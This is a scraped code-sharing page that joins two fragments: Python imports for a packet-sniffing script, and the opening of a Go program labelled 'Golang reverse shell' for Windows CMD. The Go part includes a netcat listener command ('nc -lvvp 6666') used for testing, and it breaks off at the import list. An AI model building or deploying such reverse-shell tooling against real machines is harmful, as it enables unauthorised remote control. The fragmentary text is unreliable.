Skip to content

Instantly share code, notes, and snippets.

import argparse
import ipaddress
from os import path
from time import sleep
from shlex import split
from scapy.all import sniff
from threading import Thread
from subprocess import Popen, PIPE
valid_ranges = []
@hdbreaker
hdbreaker / reversecmd.go
Last active October 21, 2022 02:30 — forked from yougg/reversecmd.go
Golang reverse shell
// +build windows
// Reverse Windows CMD
// Test with nc -lvvp 6666
package main
import (
"bufio"
"net"
"os/exec"